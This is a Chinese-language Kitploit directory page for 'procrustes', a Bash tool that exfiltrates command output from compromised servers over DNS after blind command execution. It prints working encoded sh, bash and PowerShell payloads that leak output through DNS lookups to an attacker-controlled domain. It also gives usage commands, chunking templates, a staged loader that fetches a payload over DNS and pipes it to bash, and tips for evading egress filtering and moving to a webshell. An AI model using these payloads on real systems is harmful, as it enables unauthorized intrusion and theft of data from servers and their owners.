Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
procrustes — 一个 Bash 脚本,用于在服务器上通过 DNS 自动渗出数据,适用于我们拥有盲命令执行且存在出口过滤的情况。 | Kitploit
工具/GitHubGitHub/vp777/procrustes
漏洞利用数据泄露命令与控制红队DNS 分析
GitHubvp777/procrustes

procrustes

一个 Bash 脚本,用于在服务器上通过 DNS 自动渗出数据,适用于我们拥有盲命令执行且存在出口过滤的情况。

查看仓库
2103235年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Procrustes

一个 Bash 脚本,用于在拥有盲命令执行权限且除 DNS 外所有出站连接均被阻止的服务器上,通过 DNS 自动实现数据窃取。该脚本目前支持 sh、bash 和 powershell,并兼容 exec 类型的命令执行(例如 java.lang.Runtime.exec)。

非分段模式:

分段模式:

在运行过程中,脚本将用户希望在目标服务器上执行的命令作为输入,并根据目标 shell 类型对其进行转换,使其输出能够通过 DNS 被窃取。命令转换完成后,会被传递给“调度器”。调度器由用户提供,负责将输入的命令通过任何必要方式(例如利用漏洞)在目标服务器上执行。命令在目标服务器上执行后,预期会触发向我们的 DNS 服务器发起包含数据块的 DNS 请求。脚本会监听这些请求,直至用户提供的命令输出全部被窃取完毕。

以下是支持的命令转换示例,均用于窃取命令 ls 的输出:

sh:

root@kitploit:~
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=

bash:

root@kitploit:~
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash

powershell:

root@kitploit:~
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=

使用方法

  1. 本地测试 bash:
root@kitploit:~
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
  1. 使用 WSL2 本地测试 powershell:
root@kitploit:~
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
  1. powershell 示例:通过 SSH 连接到我们的名称服务器以获取传入的 DNS 请求。
root@kitploit:~
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
  1. 关于选项的更多信息
root@kitploit:~
./procroustes_chunked.sh --help

procroustes_chunked 与 procroustes_full 对比

简而言之,假设我们要窃取的数据需要分成四个块才能通过 DNS 传输:

  • procroustes_chunked:调用调度器四次,每次请求服务器上的不同数据块。负载大小相对较小,速度快,无需特殊配置。
  • procroustes_full:调用调度器一次,在服务器上执行的命令将负责对数据进行分块并通过 DNS 发送。负载大小可能更大,速度快(可通过 -t 参数调整速度),并且当 dns_server 在名称服务器上运行时,速度可以进一步优化。
  • procroustes_full/staged:与 procroustes_full 相同,但使用一个分阶段加载器来获取 procroustes_full 用于分块数据的命令。它具有最小的“负载”大小,但由于实际负载是通过 DNS 下载的,因此窃取速率也是最慢的。运行时需要创建一个 nsconfig 脚本。注意:nsconfig 脚本只需为每个名称服务器创建一次(而非每个目标服务器)。

它们的一些区别也可以通过用于 bash 的模板命令来体现:

procroustes_chunked/bash:

root@kitploit:~
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%

procroustes_full/bash:

root@kitploit:~
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%

procroustes_full/bash/staged:

root@kitploit:~
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash

[1] 对于分段模式,命令是通过 DNS 下载的,因此所列大小也是总负载大小。

[2] 在 procroustes_chunked 中,调度器被多次调用,因此提供的命令也需在服务器上多次执行(直到所有输出被窃取完毕)。当向服务器交付命令(即调用调度器)耗时或消耗资源较多时,此行为并不理想。

如果我们在服务器上执行的命令不是幂等的(功能或输出方面,例如 "ls;rm file")或耗时/资源消耗较大(例如 find / -name secret),也可能导致问题。解决方法是先将命令输出存储到文件(例如 /tmp/file),然后使用脚本读取该文件。

[3] 在分段模式中,我们还需要承担通过 DNS 获取实际负载所需的时间开销。需要注意的是,脚本使用 A 记录来获取实际负载。尽管这使我们的流量能够更好地融入目标环境的常规流量中,但信道容量有限(例如每个请求 4 字节)。我们可以使用其他记录类型(如 TXT)来减少阶段下载时间(接近零)和分段加载器的大小。

提示

  • 你可能希望尽量少用此脚本,尽快过渡到更高带宽的信道(例如 HTTP-webshell)。
  • 如果预期输出文本较长,可以先压缩以加速窃取过程,例如:./procrustes_full.sh ... -o >(setsid gunzip) -- 'ls -lhR / | gzip'
  • 对于大型/二进制文件的另一种方法是将其复制到可通过 HTTP 等访问的路径。
  • 为了在 procrustes_full 中获得更高的窃取带宽,请在名称服务器上运行 dns_server。这样,我们就不需要等待底层 DNS_TRIGGER 超时再切换到下一个数据块。
  • 理想情况下,你应该拥有一个域(-h 选项),其 NS 记录指向你控制的服务器(运行 tcpdump 的服务器)。然而,如果目标服务器允许连接到任意 DNS 服务器,可以通过显式设置 DNS 触发器使用我们的 DNS 服务器来避免这一需求(例如 dig @your_server whatev.er)。

致谢

  • Collabfiltrator – 在服务器上对数据进行分块的想法。该工具也与此脚本功能类似,请一并查看。
  • DNSlivery – 使用修改版的 DNSlivery 作为 DNS 服务器。
下载工具
procroustes_chunkedprocroustes_fullprocroustes_full_staged
负载大小开销(bash/powershell)150*NLABELS/500*NLABELS (+CMD_LEN)300/800 (+CMD_LEN)150/400[1]
调度器调用次数#输出/(LABEL_SIZE*NLABELS)[2]11
速度(bash/powershell)✔/✔✔/✔✓/✓[3]
配置难度容易较容易+中等